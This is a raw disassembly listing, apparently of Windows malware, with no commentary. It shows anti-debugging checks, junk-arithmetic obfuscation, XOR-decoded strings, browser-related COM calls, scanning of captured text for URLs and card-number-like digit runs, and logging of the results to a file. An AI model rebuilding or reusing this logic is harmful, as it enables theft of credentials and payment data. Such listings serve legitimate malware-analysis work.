[ebp-5268Ch] lea eax, [ebp+eax+var_6268F] push eax lea eax, [ebp+var_10001] push eax call sub_40C6D4 add esp, 18h call sub_40C1F4 ; GetProcessHeap loc_407578: ; CODE XREF: sub_406E3F:loc_4074FEj ; sub_406E3F+6EAj mov eax, [ebp+var_62698] inc eax add [ebp-5268Ch], eax mov eax, [ebp+var_626A4] cmp [ebp-5268Ch], eax jb loc_4074CA call sub_40C224 ; GetVersion and [ebp+var_626A0], 0 lea ecx, [ebp+var_10001] or eax, 0FFFFFFFFh loc_4075AC: ; CODE XREF: sub_406E3F+772j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4075AC mov [ebp+var_62698], eax call sub_40C218 ; GetTickCount mov dword ptr [ebp-5268Ch], 0 jmp loc_407656 ; --------------------------------------------------------------------------- loc_4075CD: ; CODE XREF: sub_406E3F+823j mov eax, dword_4413CB mov [ebp+var_62814], eax mov eax, [ebp-5268Ch] cmp [ebp+eax+var_10001], 20h jz short loc_4075EF and [ebp+var_62694], 0 loc_4075EF: ; CODE XREF: sub_406E3F+7A7j cmp [ebp+var_62694], 0 jnz short loc_407622 call sub_40C218 ; GetTickCount mov eax, [ebp+var_626A0] mov edx, [ebp-5268Ch] mov dl, [ebp+edx+var_10001] mov [ebp+eax+var_10001], dl call sub_40C218 ; GetTickCount inc [ebp+var_626A0] loc_407622: ; CODE XREF: sub_406E3F+7B7j mov eax, [ebp-5268Ch] cmp [ebp+eax+var_10001], 20h jnz short loc_40763C mov [ebp+var_62694], 1 loc_40763C: ; CODE XREF: sub_406E3F+7F1j lea edi, [ebp+var_6281A] lea esi, a?Hg ; "`?^HG" mov ecx, 3 rep movsw inc dword ptr [ebp-5268Ch] loc_407656: ; CODE XREF: sub_406E3F+789j mov eax, [ebp+var_62698] cmp [ebp-5268Ch], eax jb loc_4075CD mov eax, [ebp+var_626A0] mov [ebp+eax+var_10001], 0 loc_407676: ; CODE XREF: sub_406E3F+4EAj ; sub_406E3F+522j and [ebp+var_6269C], 0 lea eax, [ebp+var_6269C] push eax push offset dword_446A24 mov eax, [ebp+var_626AC] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov ax, word_4413D5 mov [ebp+var_62806], ax or ebx, ebx jnz loc_4079DD call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_626A8] push eax mov eax, [ebp+var_6269C] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax mov [ebp+var_627DC], 2948h sub [ebp+var_627DC], 61D7h or ebx, ebx jnz loc_4079B7 call sub_40C188 ; GetCurrentProcessId and [ebp+var_52690], 0 jmp loc_407991 ; --------------------------------------------------------------------------- loc_4076F7: ; CODE XREF: sub_406E3F+B5Ej mov [ebp+var_6283A], 38Fh movzx eax, [ebp+var_6283A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_6283A], ax push 0 call sub_40C638 pop ecx mov [ebp+var_62840], 208Eh sub [ebp+var_62840], 618Fh mov [ebp+var_62828], 2 mov eax, [ebp+var_52690] mov [ebp+var_62820], eax lea eax, [ebp+var_62818] push eax lea esi, [ebp+var_62828] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_62828] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_6269C] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax mov [ebp+var_62842], 70A7h sub [ebp+var_62842], 7484h or ebx, ebx jnz loc_40798B mov [ebp+var_62848], 0B87h add [ebp+var_62848], 1425h and [ebp+var_62814], 0 lea eax, [ebp+var_62814] push eax push offset dword_446A14 mov eax, [ebp+var_62818] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax or ebx, ebx jnz loc_407959 mov [ebp+var_6284A], 6736h sub [ebp+var_6284A], 7A89h cmp [ebp+var_62814], 0 jz loc_407959 mov [ebp+var_6283B], 58h movzx eax, [ebp+var_6283B] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_6283B], al lea eax, [ebp+var_62838] push eax push 0 push [ebp+var_10FA8] mov eax, [ebp+var_62814] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C218 ; GetTickCount or ebx, ebx jnz loc_407959 mov [ebp+var_6284C], 1863h add [ebp+var_6284C], 0CCCh cmp [ebp+var_62838], 8 jnz loc_407959 mov [ebp+var_6284D], 0A2h add [ebp+var_6284D], 1 movzx edi, [ebp+var_2] mov esi, [ebp+var_62814] mov [ebp+edi*4+var_10FA4], esi movzx edi, [ebp+var_2] mov esi, [ebp+var_52690] mov [ebp+edi*2+var_1177C], si lea eax, [ebp+var_62838] push eax push 0 push [ebp+var_10FAC] mov eax, [ebp+var_62814] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax lea edi, [ebp+var_6285B] lea esi, aJA ; "j €+ " mov ecx, 7 rep movsb or ebx, ebx jnz loc_407955 lea edi, [ebp+var_63869] lea esi, aIs ; "`IS~" mov ecx, 5 rep movsb lea eax, [ebp+var_6385A] push eax push [ebp+var_62830] call sub_406966 add esp, 8 mov edi, eax inc edi mov [ebp+var_63864], edi lea edi, [ebp+var_6386A] lea esi, byte_4413E3 xor ecx, ecx inc ecx rep movsb cmp [ebp+var_6385A], 0 jz short loc_407934 cmp [ebp+var_63864], 64h jnb short loc_407934 lea eax, [ebp+var_6385A] push eax movzx eax, [ebp+var_2] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax call sub_40C138 loc_407934: ; CODE XREF: sub_406E3F+ACFj ; sub_406E3F+AD8j mov [ebp+var_63860], 6C10h mov eax, 74h mul [ebp+var_63860] mov [ebp+var_63870], eax mov [ebp+var_63860], eax loc_407955: ; CODE XREF: sub_406E3F+A80j inc [ebp+var_2] loc_407959: ; CODE XREF: sub_406E3F+994j ; sub_406E3F+9B3j ... cmp [ebp+var_62814], 0 jz short $+2 cmp [ebp+var_62818], 0 jz short loc_407977 mov eax, [ebp+var_62818] push eax mov esi, [eax] call dword ptr [esi+8] loc_407977: ; CODE XREF: sub_406E3F+B2Aj mov [ebp+var_62854], 2899h sub [ebp+var_62854], 3360h loc_40798B: ; CODE XREF: sub_406E3F+953j inc [ebp+var_52690] loc_407991: ; CODE XREF: sub_406E3F+8B3j mov eax, [ebp+var_626A8] cmp [ebp+var_52690], eax jb loc_4076F7 jmp short loc_4079F2 ; --------------------------------------------------------------------------- mov [ebp+var_627DE], 2C82h sub [ebp+var_627DE], 4DD9h loc_4079B7: ; CODE XREF: sub_406E3F+8A1j cmp [ebp+var_6269C], 0 jz short loc_4079CC mov eax, [ebp+var_6269C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4079CC: ; CODE XREF: sub_406E3F+B7Fj lea edi, [ebp+var_62807] lea esi, byte_4413E4 xor ecx, ecx inc ecx rep movsb loc_4079DD: ; CODE XREF: sub_406E3F+86Bj cmp [ebp+var_626AC], 0 jz short loc_4079F2 mov eax, [ebp+var_626AC] push eax mov esi, [eax] call dword ptr [esi+8] loc_4079F2: ; CODE XREF: sub_406E3F+491j ; sub_406E3F+B64j ... inc [ebp+var_21784] loc_4079F8: ; CODE XREF: sub_406E3F+400j mov eax, [ebp+var_525EC] cmp [ebp+var_21784], eax jb loc_407244 loc_407A0A: ; CODE XREF: sub_406E3F+2B3j ; sub_406E3F+32Aj ... call sub_40C1F4 ; GetProcessHeap inc [ebp+var_524CC] mov eax, [ebp+var_5263C] cmp [ebp+var_524CC], eax jl loc_4070BA call sub_40C2B4 ; IsDebuggerPresent loc_407A2C: ; CODE XREF: sub_406E3F+D01j push 0 call sub_40C638 pop ecx lea edi, [ebp+var_52664] lea esi, aY3 ; "& y$`3" mov ecx, 7 rep movsb mov [ebp+var_21786], 0 jmp loc_407AFF ; --------------------------------------------------------------------------- loc_407A55: ; CODE XREF: sub_406E3F+CCDj call sub_40C2B4 ; IsDebuggerPresent lea eax, [ebp+var_524E0] push eax push 0 push [ebp+var_10FA8] movzx edi, [ebp+var_21786] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax call sub_40C1F4 ; GetProcessHeap or ebx, ebx jnz short loc_407AF8 call sub_40C218 ; GetTickCount lea eax, [ebp+var_62687] push eax push [ebp+var_524D8] call sub_406966 add esp, 8 mov edi, eax inc edi mov [ebp+var_6268C], edi lea edi, [ebp+var_62694+1] lea esi, aMNkY ; "M#nk y" mov ecx, 7 rep movsb cmp [ebp+var_62687], 0 jz short loc_407AF8 call sub_40C218 ; GetTickCount cmp [ebp+var_6268C], 64h jnb short loc_407AF3 lea eax, [ebp+var_62687] push eax movzx eax, [ebp+var_21786] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax call sub_40C138 loc_407AF3: ; CODE XREF: sub_406E3F+C94j call sub_40C2B4 ; IsDebuggerPresent loc_407AF8: ; CODE XREF: sub_406E3F+C47j ; sub_406E3F+C86j inc [ebp+var_21786] loc_407AFF: ; CODE XREF: sub_406E3F+C11j movzx eax, [ebp+var_21786] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407A55 lea eax, [ebp+var_525FC] push eax mov eax, dword_44133C push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax call sub_40C188 ; GetCurrentProcessId or ebx, ebx jnz loc_407F54 call sub_40C1B8 ; RtlGetLastWin32Error cmp [ebp+var_525FC], 0 jz loc_407A2C mov ax, word_4413F3 mov [ebp+var_52666], ax lea edi, [ebp+var_5266D] lea esi, a747P ; "<747~P" mov ecx, 7 rep movsb mov [ebp+var_2177D], 0 push offset byte_41EBE0 lea eax, [ebp+var_2177D] push eax call sub_40C138 call sub_40C2B4 ; IsDebuggerPresent mov [ebp+var_525E8], 1 mov [ebp+var_1177E], 0 jmp loc_407C90 ; --------------------------------------------------------------------------- loc_407B9B: ; CODE XREF: sub_406E3F+E5Ej lea edi, [ebp+var_52691] lea esi, aUmxi ; "-Umxi" mov ecx, 3 rep movsw movzx eax, [ebp+var_1177E] imul eax, 64h cmp [ebp+eax+var_524C8], 0 jz loc_407C89 and [ebp+var_525E8], 0 push 4 push offset aLi4v ; "LI4V" call sub_406DB4 movzx edi, [ebp+var_1177E] push edi push eax lea edi, [ebp+var_525DF] push edi call sub_40C6B0 call sub_40C218 ; GetTickCount lea eax, [ebp+var_525DF] push eax lea eax, [ebp+var_2177D] push eax call sub_40C6D4 mov [ebp+var_52689], 8Dh add [ebp+var_52689], 1 movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax lea eax, [ebp+var_2177D] push eax call sub_40C6D4 push 1 push offset byte_445E25 call sub_406DB4 push eax lea edi, [ebp+var_2177D] push edi call sub_40C6D4 mov [ebp+var_5268A], 0D8h sub [ebp+var_5268A], 0F0h movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax lea eax, [ebp+var_2177D] push eax call sub_40C6D4 add esp, 3Ch mov [ebp+var_5268B], 37h sub [ebp+var_5268B], 1Dh loc_407C89: ; CODE XREF: sub_406E3F+D82j inc [ebp+var_1177E] loc_407C90: ; CODE XREF: sub_406E3F+D57j movzx eax, [ebp+var_1177E] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407B9B cmp [ebp+var_525E8], 0 jnz loc_407EC8 lea edi, [ebp+var_52675] lea esi, a@mc@_6u ; "@mC@_6u" movsd movsd push 1 push offset byte_445E23 call sub_406DB4 push eax lea edi, [ebp+var_2177D] push edi call sub_40C6D4 lea edi, [ebp+var_52678] lea esi, a61 ; "61" mov ecx, 3 rep movsb lea eax, [ebp+var_10001] push eax lea eax, [ebp+var_2177D] push eax call sub_40C6D4 add esp, 18h call sub_40C224 ; GetVersion cmp ds:byte_41EBE0, 68h jnz short loc_407D29 cmp ds:byte_41EBE1, 74h jnz short loc_407D29 cmp ds:byte_41EBE2, 74h jnz short loc_407D29 cmp ds:byte_41EBE3, 70h jz short loc_407D2E loc_407D29: ; CODE XREF: sub_406E3F+ECDj ; sub_406E3F+ED6j ... jmp loc_407E7D ; --------------------------------------------------------------------------- loc_407D2E: ; CODE XREF: sub_406E3F+EE8j mov [ebp+var_52606], 3BEEh movzx eax, [ebp+var_52606] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_52606], ax push 8 push offset word_445E1A call sub_406DB4 mov edi, 0Ch sub edi, dword_441374 push edi push eax push offset byte_41EBE0 call sub_40181E add esp, 14h cmp eax, 0FFFFh jz short loc_407DA9 push 0Eh push offset byte_445E0B call sub_406DB4 mov edi, 5 sub edi, dword_441370 push edi push eax push offset byte_41EBE0 call sub_40181E add esp, 14h cmp eax, 0FFFFh jz loc_407E7D loc_407DA9: ; CODE XREF: sub_406E3F+F37j mov [ebp+var_525EE], 0 loc_407DB2: ; CODE XREF: sub_406E3F+1015j mov eax, 0Ch sub eax, dword_441374 push eax movzx eax, [ebp+var_525EE] lea eax, ds:441380h[eax] push eax push offset byte_41EBE0 call sub_40181E add esp, 0Ch cmp eax, 0FFFFh jz short loc_407E0A lea edi, [ebp+var_52690+3] lea esi, aXfr ; " xfR" mov ecx, 5 rep movsb push 1 lea eax, [ebp+var_2177D] push eax call ds:dword_40F1E4 call sub_40C194 ; GetCurrentThreadId jmp short loc_407E7D ; --------------------------------------------------------------------------- loc_407E0A: ; CODE XREF: sub_406E3F+FA0j movzx eax, [ebp+var_525EE] mov [ebp-5268Ch], eax lea ecx, ds:441380h[eax] or eax, 0FFFFFFFFh loc_407E21: ; CODE XREF: sub_406E3F+FE7j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407E21 mov esi, [ebp-5268Ch] add esi, eax mov edi, esi mov [ebp+var_525EE], di call sub_40C1B8 ; RtlGetLastWin32Error inc [ebp+var_525EE] movzx eax, [ebp+var_525EE] cmp byte_441380[eax], 0 jnz loc_407DB2 push 0 lea eax, [ebp+var_2177D] push eax call ds:dword_40F1E4 lea edi, [ebp+var_5267E] lea esi, aUkggv ; "UkƒƒV" mov ecx, 3 rep movsw loc_407E7D: ; CODE XREF: sub_406E3F:loc_407D29j ; sub_406E3F+F64j ... mov [ebp+var_21788], 0 jmp short loc_407EB4 ; --------------------------------------------------------------------------- loc_407E88: ; CODE XREF: sub_406E3F+1082j movzx edi, [ebp+var_21788] cmp [ebp+edi*4+var_10FA4], 0 jz short loc_407EAD movzx edi, [ebp+var_21788] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+8] loc_407EAD: ; CODE XREF: sub_406E3F+1058j inc [ebp+var_21788] loc_407EB4: ; CODE XREF: sub_406E3F+1047j movzx eax, [ebp+var_21788] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_407E88 call sub_40C194 ; GetCurrentThreadId loc_407EC8: ; CODE XREF: sub_406E3F+3EEj ; sub_406E3F+E6Bj cmp [ebp+var_525E4], 0 jz short loc_407EDD mov eax, [ebp+var_525E4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EDD: ; CODE XREF: sub_406E3F+1090j mov [ebp+var_52626], 5586h inc [ebp+var_52626] cmp [ebp+var_5260C], 0 jz short loc_407F02 mov eax, [ebp+var_5260C] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F02: ; CODE XREF: sub_406E3F+10B5j cmp [ebp+var_52604], 0 jz short loc_407F17 mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F17: ; CODE XREF: sub_406E3F+10CAj mov [ebp+var_5262C], 383Eh add [ebp+var_5262C], 5085h loc_407F2B: ; CODE XREF: sub_406E3F+25Dj cmp [ebp+var_52600], 0 jz short loc_407F40 mov eax, [ebp+var_52600] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F40: ; CODE XREF: sub_406E3F+10F3j lea edi, [ebp+var_52684] lea esi, aGG ; "<ƒ^>ƒ" mov ecx, 3 rep movsw loc_407F54: ; CODE XREF: sub_406E3F+15Ej ; sub_406E3F+1B8j ... cmp [ebp+var_525F8], 0 jz short loc_407F69 mov eax, [ebp+var_525F8] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F69: ; CODE XREF: sub_406E3F+111Cj call sub_40C1F4 ; GetProcessHeap loc_407F6E: ; CODE XREF: sub_406E3F+135j cmp [ebp+var_525F4], 0 jz loc_406E93 mov eax, [ebp+var_525F4] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_406E93 ; --------------------------------------------------------------------------- loc_407F8C: ; CODE XREF: sub_406E3F+49j pop edi pop esi pop ebx leave retn sub_406E3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F91 proc near ; DATA XREF: sub_408043+23o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset word_441422 push offset sub_40109A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp call sub_40C194 ; GetCurrentThreadId mov [ebp+var_4], 0 mov [ebp+var_1C], 57D7h mov edi, [ebp+var_1C] mov esi, edi add esi, edi mov [ebp+var_1C], esi loc_407FD4: ; CODE XREF: sub_407F91+77j ; sub_407F91+97j call sub_40C1B8 ; RtlGetLastWin32Error mov edi, dword_441370 add edi, 1F0h push edi call sub_40C638 add esp, 4 call sub_40C194 ; GetCurrentThreadId call sub_406E3F mov edi, off_44141E mov [ebp+var_20], edi cmp dword_44137C, 0 jnz short loc_407FD4 jmp short loc_408031 ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh jmp short loc_408031 ; --------------------------------------------------------------------------- mov [ebp+var_1C], 1 mov eax, [ebp+var_1C] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_40C1B8 ; RtlGetLastWin32Error jmp short loc_407FD4 ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh loc_408031: ; CODE XREF: sub_407F91+79j ; sub_407F91+82j pop edi pop esi pop ebx xchg eax, ecx mov eax, [ebp+var_10] mov large fs:0, eax xchg eax, ecx leave retn 4 sub_407F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408043 proc near ; CODE XREF: sub_40A4E2+750p var_5 = byte ptr -5 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_40C1B8 ; RtlGetLastWin32Error mov eax, [ebp+arg_0] mov ds:dword_40F1E4, eax call sub_40C194 ; GetCurrentThreadId push offset dword_44137C push 0 push 0 push offset sub_407F91 push 0 push 0 call sub_40C3D4 ; CreateThread mov ebx, eax mov ax, word_44142E mov [ebp+var_2], ax push ebx call sub_40C1DC ; CloseHandle lea edi, [ebp+var_5] lea esi, byte_441430 mov ecx, 3 rep movsb pop edi pop esi pop ebx leave retn sub_408043 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi lea edi, [ebp-5] lea esi, byte_441433 xor ecx, ecx inc ecx rep movsb cmp dword_44133C, 0 jnz short loc_4080BD xor eax, eax jmp short loc_40811B ; --------------------------------------------------------------------------- loc_4080BD: ; CODE XREF: .text:004080B7j mov word ptr [ebp-4], 7A76h movzx eax, word ptr [ebp-4] imul eax, 6BA8h mov [ebp-4], ax mov eax, ds:dword_42EBE4 cmp [ebp+8], eax jz short loc_4080DF xor eax, eax jmp short loc_40811B ; --------------------------------------------------------------------------- loc_4080DF: ; CODE XREF: .text:004080D9j lea ecx, byte_41EBE0 or eax, 0FFFFFFFFh loc_4080E8: ; CODE XREF: .text:004080EDj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4080E8 mov edi, eax add edi, 1 push edi push offset byte_41EBE0 push dword ptr [ebp+0Ch] call sub_40C674 add esp, 0Ch mov byte ptr [ebp-1], 0F7h movzx eax, byte ptr [ebp-1] mov edx, eax add edx, eax mov eax, edx mov [ebp-1], al mov eax, 1 loc_40811B: ; CODE XREF: .text:004080BBj ; .text:004080DDj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40811F proc near ; CODE XREF: sub_4081B0+213p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 23Ah push esi push [ebp+arg_0] mov eax, dword_44143C lea eax, ds:4141B0h[eax] push eax call sub_40C674 add esp, 0Ch mov [ebp+var_8], 1E4h xor edi, edi jmp short loc_40816C ; --------------------------------------------------------------------------- loc_408155: ; CODE XREF: sub_40811F+4Fj mov eax, dword_44143C add eax, edi lea eax, ds:4141B0h[eax] movsx edx, byte ptr [eax] xor edx, 32h mov [eax], dl inc edi loc_40816C: ; CODE XREF: sub_40811F+34j cmp edi, esi jl short loc_408155 mov eax, dword_44143C add eax, esi mov byte ptr ds:dword_4141B0[eax], 0 xor edi, edi mov edi, dword_44143C mov eax, edi inc eax add eax, esi mov dword_44143C, eax cmp eax, 0DF0h jle short loc_40819F and dword_44143C, 0 loc_40819F: ; CODE XREF: sub_40811F+77j mov [ebp+var_C], 7Dh lea eax, dword_4141B0[edi] pop edi pop esi leave retn sub_40811F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081B0 proc near ; DATA XREF: sub_40A4E2+74Bo var_29 = byte ptr -29h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi call sub_40C188 ; GetCurrentProcessId and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_10], 0 loc_4081CA: ; CODE XREF: sub_4081B0+17Fj mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ah jnz loc_4082E7 mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [eax+edx+11h], 20h jz short loc_4081F2 cmp byte ptr [eax+edx+14h], 20h jnz loc_4082E7 loc_4081F2: ; CODE XREF: sub_4081B0+35j call sub_40C1B8 ; RtlGetLastWin32Error mov eax, [ebp+var_4] inc eax mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 34h jz short loc_40820D cmp al, 35h jnz loc_4082E7 loc_40820D: ; CODE XREF: sub_4081B0+53j mov eax, [ebp+var_4] add eax, 11h mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 20h jnz short loc_408225 mov [ebp+var_8], 10h jmp short loc_40822C ; --------------------------------------------------------------------------- loc_408225: ; CODE XREF: sub_4081B0+6Aj mov [ebp+var_8], 13h loc_40822C: ; CODE XREF: sub_4081B0+73j mov [ebp+var_9], 0 xor ebx, ebx jmp loc_4082BA ; --------------------------------------------------------------------------- loc_408237: ; CODE XREF: sub_4081B0+10Dj mov [ebp+var_11], 82h add [ebp+var_11], 25h cmp [ebp+var_8], 13h jnz short loc_40827B mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 2Dh jnz short loc_40827B mov edi, 5 mov esi, ebx inc esi mov [ebp+var_18], edi mov eax, esi mov ecx, edi xor edx, edx div ecx mov [ebp+var_1C], eax mov eax, edi mov edi, [ebp+var_1C] mul [ebp+var_1C] mov [ebp+var_20], eax mov edi, eax cmp edi, esi jz short loc_4082B9 loc_40827B: ; CODE XREF: sub_4081B0+93j ; sub_4081B0+A2j call sub_40C2B4 ; IsDebuggerPresent mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 30h jl short loc_408294 cmp al, 39h jle short loc_408296 loc_408294: ; CODE XREF: sub_4081B0+DEj jmp short loc_4082E7 ; --------------------------------------------------------------------------- loc_408296: ; CODE XREF: sub_4081B0+E2j mov [ebp+var_12], 0F1h add [ebp+var_12], 1 movzx eax, [ebp+var_9] mov edx, [ebp+var_4] inc edx add edx, ebx mov ecx, [ebp+arg_0] mov dl, [ecx+edx] mov ds:byte_432F80[eax], dl add [ebp+var_9], 1 loc_4082B9: ; CODE XREF: sub_4081B0+C9j inc ebx loc_4082BA: ; CODE XREF: sub_4081B0+82j cmp ebx, [ebp+var_8] jb loc_408237 mov eax, [ebp+var_8] mov ds:byte_432F80[eax], 0 call sub_40133E or eax, eax jz short loc_4082DE call sub_40C1F4 ; GetProcessHeap jmp short loc_4082E7 ; --------------------------------------------------------------------------- loc_4082DE: ; CODE XREF: sub_4081B0+125j mov [ebp+var_10], 1 jmp short loc_408338 ; --------------------------------------------------------------------------- loc_4082E7: ; CODE XREF: sub_4081B0+24j ; sub_4081B0+3Cj ... inc [ebp+var_4] mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0 jz short loc_408334 call sub_40C194 ; GetCurrentThreadId mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ch jnz short loc_40832A cmp byte ptr [eax+edx+1], 46h jnz short loc_40832A cmp byte ptr [eax+edx+2], 4Fh jnz short loc_40832A cmp byte ptr [eax+edx+3], 52h jnz short loc_40832A cmp byte ptr [eax+edx+4], 4Dh jnz short loc_40832A cmp byte ptr [eax+edx+5], 5Fh jz short loc_408334 loc_40832A: ; CODE XREF: sub_4081B0+155j ; sub_4081B0+15Cj ... call sub_40C1F4 ; GetProcessHeap jmp loc_4081CA ; --------------------------------------------------------------------------- loc_408334: ; CODE XREF: sub_4081B0+144j ; sub_4081B0+178j and [ebp+var_10], 0 loc_408338: ; CODE XREF: sub_4081B0+135j cmp [ebp+var_10], 0 jz short loc_40834D mov eax, ds:dword_42EBE4 mov dword_43B214, eax jmp loc_4083FE ; --------------------------------------------------------------------------- loc_40834D: ; CODE XREF: sub_4081B0+18Cj lea edi, [ebp+var_1C+3] lea esi, byte_441440 mov ecx, 3 rep movsb push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40DFD0 call sub_40C2FC ; CreateFileA mov [ebp-14h], eax push 2 push 0 push 0 push eax call sub_40C32C ; SetFilePointer mov eax, dword_441443 mov [ebp+var_24], eax mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_408395: ; CODE XREF: sub_4081B0+1EAj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408395 mov edi, eax push 0 lea esi, [ebp+var_20] push esi push edi push [ebp+arg_0] push dword ptr [ebp-14h] call sub_40C3B0 ; WriteFile mov word ptr [ebp+var_18+2], 5BC2h sub word ptr [ebp+var_18+2], 450h push 2 push offset a?8 ; "?8" call sub_40811F add esp, 8 push 0 lea edi, [ebp+var_20] push edi mov edi, 0Eh sub edi, dword_441438 push edi push eax push dword ptr [ebp-14h] call sub_40C3B0 ; WriteFile push dword ptr [ebp-14h] call sub_40C1DC ; CloseHandle lea edi, [ebp+var_29] lea esi, aIz ; "<iZ!" mov ecx, 5 rep movsb loc_4083FE: ; CODE XREF: sub_4081B0+198j pop edi pop esi pop ebx leave retn sub_4081B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408403 proc near ; CODE XREF: sub_40849F+8Bp ; sub_4085C0+D5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 2C3h push esi push [ebp+arg_0] mov eax, dword_445458 lea eax, ds:40D000h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_408449 ; --------------------------------------------------------------------------- loc_408432: ; CODE XREF: sub_408403+48j mov eax, dword_445458 add eax, edi lea eax, ds:40D000h[eax] movsx edx, byte ptr [eax] xor edx, 47h mov [eax], dl inc edi loc_408449: ; CODE XREF: sub_408403+2Dj cmp edi, esi jl short loc_408432 mov [ebp+var_8], 32Bh mov eax, dword_445458 add eax, esi mov byte ptr ds:dword_40D000[eax], 0 mov edi, dword_445458 mov eax, edi lea eax, [eax+esi+5] mov dword_445458, eax add dword_445458, 3 cmp dword_445458, 0E02h jle short loc_40848E and dword_445458, 0 loc_40848E: ; CODE XREF: sub_408403+82j mov [ebp+var_C], 249h lea eax, dword_40D000[edi] pop edi pop esi leave retn sub_408403 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40849F proc near ; CODE XREF: sub_4085C0+94p var_234 = word ptr -234h var_232 = byte ptr -232h var_231 = byte ptr -231h var_229 = byte ptr -229h var_221 = byte ptr -221h var_219 = byte ptr -219h var_211 = byte ptr -211h var_20C = byte ptr -20Ch var_107 = byte ptr -107h var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 234h push ebx push esi push edi lea edi, [ebp+var_211] lea esi, aFj_ ; "fj:." mov ecx, 5 rep movsb lea edi, [ebp+var_219] lea esi, aSHqZt ; "s+HQ-ZT" movsd movsd mov [ebp+var_1], 71h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push 104h lea eax, [ebp+var_20C] push eax call sub_40C200 ; GetSystemDirectoryA lea edi, [ebp+var_232] lea esi, byte_445469 xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_107] push eax call sub_40C138 mov [ebp+var_2], 20h movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], al push 0Dh push offset a5Tui ; "\x1B,\"5)\"+tui#++" 